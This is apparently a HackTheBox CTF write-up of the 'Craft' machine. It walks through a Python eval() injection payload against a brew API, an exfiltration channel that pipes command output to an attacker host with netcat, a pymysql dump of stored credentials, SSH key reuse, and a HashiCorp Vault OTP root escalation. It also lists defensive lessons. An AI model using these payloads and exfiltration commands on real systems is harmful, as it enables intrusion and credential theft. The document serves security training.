HTB: Craft Writeup
Craft - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Craft |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Craft is a Medium Linux box built around a self-hosted Gogs instance and a homegrown “brew” API. A public repository’s issue tracker leaked an internal API token, and mining that repo’s commit history turned up an unsanitized eval() call on user-controlled input — a real-world code-review lesson dressed up as a CTF box. Chaining that injection into command execution on a container, then pivoting through leaked MySQL credentials and a Gogs-hosted SSH private key, leads to a foothold as gilfoyle. Root falls to a HashiCorp Vault misconfiguration: a leftover .vault-token lets you mint a one-time root SSH password directly from the Vault SSH secrets engine.
TL;DR: Gogs public repo → leaked API token + commit-history code review → eval() injection on the /api/brew/ abv field → container RCE → dump MySQL user table via craft_api/settings.py creds → gilfoyle’s password reused on Gogs web login → private repo leaks his SSH key → user shell → ~/.vault-token → vault ssh -role root_otp -mode otp → root OTP → root shell.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- TARGET_IPResults: Three open ports of interest:
22/tcp— OpenSSH443/tcp— Nginx (HTTPS)6022/tcp— a second SSH listener
Service Enumeration
Browsing to 443 and inspecting the presented TLS certificate exposed two Subject Alternative Names that weren’t in DNS:
# pull the cert and read the SAN field to find hidden vhostscurl -vk https://TARGET_IP/ 2>&1 | grep -i "subject\|SAN"This surfaced two virtual hosts:
api.craft.htbgogs.craft.htb
Both were added to /etc/hosts. gogs.craft.htb resolved to a self-hosted Gogs (Go Git Service) instance, and its “Explore” page listed a public repository: Craft/craft-api.
Vulnerability Assessment
The repo had an open issue (#2) filed by user dinesh that pasted a working curl example against the API, complete with a live X-Craft-API-Token header — an accidental credential leak sitting in plaintext in the issue tracker. Reading the linked commit that “fixed” the underlying bug revealed the actual vulnerability: the /api/brew/ POST handler validated the abv field with a raw eval() call, something like:
eval('%s > 1' % abv)Since abv is string-interpolated directly into the expression passed to eval(), this is textbook Python code injection (CWE-95) — anything supplied as abv gets executed as Python, not just compared numerically.
Initial Foothold
Exploitation Path
The trick to a clean injection here is that eval() only accepts a single expression, not statements — so a straightforward reverse-shell one-liner won’t parse. The fix is to use __import__() inline so the whole payload is still one expression, and lean on the fact that os.system() returns an integer exit code — which satisfies the surrounding > 1 comparison without ever raising a SyntaxError:
# abv value sent in the POST body — a bare expression, so `eval('%s > 1' % abv)`# still evaluates cleanly once os.system()'s int return value is compared to 1abv = "__import__('os').system(\"<command>\")"curl -k -X POST https://api.craft.htb/api/brew/ \ -H "X-Craft-API-Token: <leaked token>" \ -H "Content-Type: application/json" \ --data '{"name":"x","brewer":"x","style":"x","abv":"__import__(\x27os\x27).system(\x22id\x22)"}'Because eval() gives one-shot command execution rather than an interactive shell, spawning a normal nc -e reverse shell inline is unreliable. Instead, each command’s output was piped through netcat to a listener on the jump box — a stateless, pull-per-command channel:
# on the jump box: catch output from each injected commandnc -lvnp <PORT>
# injected command (as the abv payload), piping stdout to the listener<command> | nc <LHOST> <PORT>This gave reliable command execution inside the API’s container without needing a persistent shell primitive.
Enumerating the container turned up craft_api/settings.py, which held the MySQL connection parameters (host, user, password, database name) used by the app. With DB creds in hand, a pymysql one-liner (run through the same eval-RCE channel) dumped the user table:
# executed inside the container via the eval() RCE channelimport pymysqlfrom craft_api import settings
conn = pymysql.connect( host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor,)with conn.cursor() as cur: cur.execute("SELECT * FROM `user`") print(cur.fetchall())This recovered credentials for three accounts: dinesh, ebachman, and gilfoyle.
Lateral Movement to a Shell
None of the three passwords worked directly against sshd — the recovered credentials weren’t valid for password-based SSH auth. They did work, however, against the Gogs web login: gilfoyle’s password authenticated to gogs.craft.htb. Behind that login sat a private repository, craft-infra, containing an SSH private key. The key was itself encrypted, and its passphrase turned out to be the same password recovered from the database — a case of the same secret being reused across three different surfaces (DB password, Gogs web password, and private-key passphrase).
# decrypt/use the leaked key, passphrase = gilfoyle's recovered passwordchmod 600 gilfoyle_id_rsassh -i gilfoyle_id_rsa gilfoyle@TARGET_IPThis landed a shell as gilfoyle and user.txt.
Privilege Escalation
gilfoyle’s home directory contained a ~/.vault-token — a leftover authentication token for HashiCorp Vault. Vault’s SSH secrets engine (OTP mode) had already been configured on this box with a root_otp role, meaning any holder of a valid Vault token can request a fresh one-time password to SSH into the target as root — the target’s PAM stack validates that OTP against Vault on login.
# request a root OTP via Vault's SSH secrets enginevault ssh -role root_otp -mode otp root@127.0.0.1Vault’s own convenience feature — auto-connecting with the OTP it just generated — failed (a local network-path issue from that host), but critically the OTP itself had already been issued and printed before that attempt, and one-time-password validity isn’t tied to Vault’s own SSH client succeeding. That printed OTP was reused as the SSH password for a manual login as root, run from the jump box instead:
# from the jump box, use the OTP Vault printed as the SSH passwordssh root@TARGET_IP# Password: <OTP printed by `vault ssh`>This dropped into a root shell and root.txt.
Attack Chain Summary
Gogs recon (public repo + leaked API token in issue #2) → commit-history review reveals eval() injection in /api/brew/ (abv field) → __import__('os').system(...) as a bare expression → container RCE → craft_api/settings.py leaks MySQL creds → pymysql dump of `user` table → dinesh/ebachman/gilfoyle credentials → gilfoyle's password reused on Gogs web login → private "craft-infra" repo leaks SSH key (passphrase = gilfoyle's password) → SSH as gilfoyle → user.txt → ~/.vault-token found → vault ssh -role root_otp -mode otp root@127.0.0.1 → OTP issued → OTP reused manually as root's SSH password → root shell → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl / TLS cert inspection | Discovering hidden vhosts via certificate SANs |
| Gogs (web UI) | Recon of public/private repos, issue tracker, commit history |
Python (requests, __import__) | Crafting the eval() injection payload against /api/brew/ |
nc (netcat) | Stateless per-command output exfiltration from the RCE channel |
pymysql | Dumping the application’s MySQL user table |
ssh | Lateral movement (leaked private key) and root login (Vault OTP) |
vault CLI | Generating a root SSH OTP via the SSH secrets engine |
Key Learnings
Techniques Practiced
- Mining a git server’s commit history and issue tracker for leaked secrets and code-review artifacts
- Python
eval()code injection (CWE-95) and crafting a bare-expression payload to dodge a comparison wrapper - One-shot RCE without an interactive shell primitive, using a pipe-to-netcat exfil pattern
- Pivoting from application source (
settings.py) to direct database access viapymysql - Recognizing credential reuse across unrelated auth surfaces (DB password → web login → SSH key passphrase)
- HashiCorp Vault SSH secrets engine (OTP mode) for privilege escalation
Lessons Learned
eval()on attacker-controlled input is unsafe even when superficially “constrained” by a comparison —__import__(...).system(...)is still a valid expression that satisfies> 1while doing arbitrary command execution. Untrusted numeric input should be parsed withfloat()/ast.literal_eval(), nevereval().- Password reuse isn’t all-or-nothing:
gilfoyle’s password failed againstsshddirectly but worked as a Gogs web password and as an SSH key passphrase. Always test recovered credentials against every exposed authentication surface, not just the most obvious one. - “Private” repositories on an internal Gogs instance still leak real secrets (SSH keys) if the platform itself is reachable by a compromised low-privileged account.
- Vault’s SSH OTP flow separates issuing the OTP from using it — a failed auto-connect from the requesting host doesn’t invalidate an OTP that was already generated server-side, so it can still be used manually from anywhere with network access to the target.
- Because
eval()only accepts a single expression, injected RCE primitives sometimes can’t support a full interactive reverse shell in one shot — having a stateless output-exfil pattern (cmd | nc host port) ready is worth keeping in the toolkit.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, Craft — official HackTheBox writeup (Document No D19.100.47), used here for conceptual/background context on the Gogs →
eval()injection → Vault SSH OTP chain.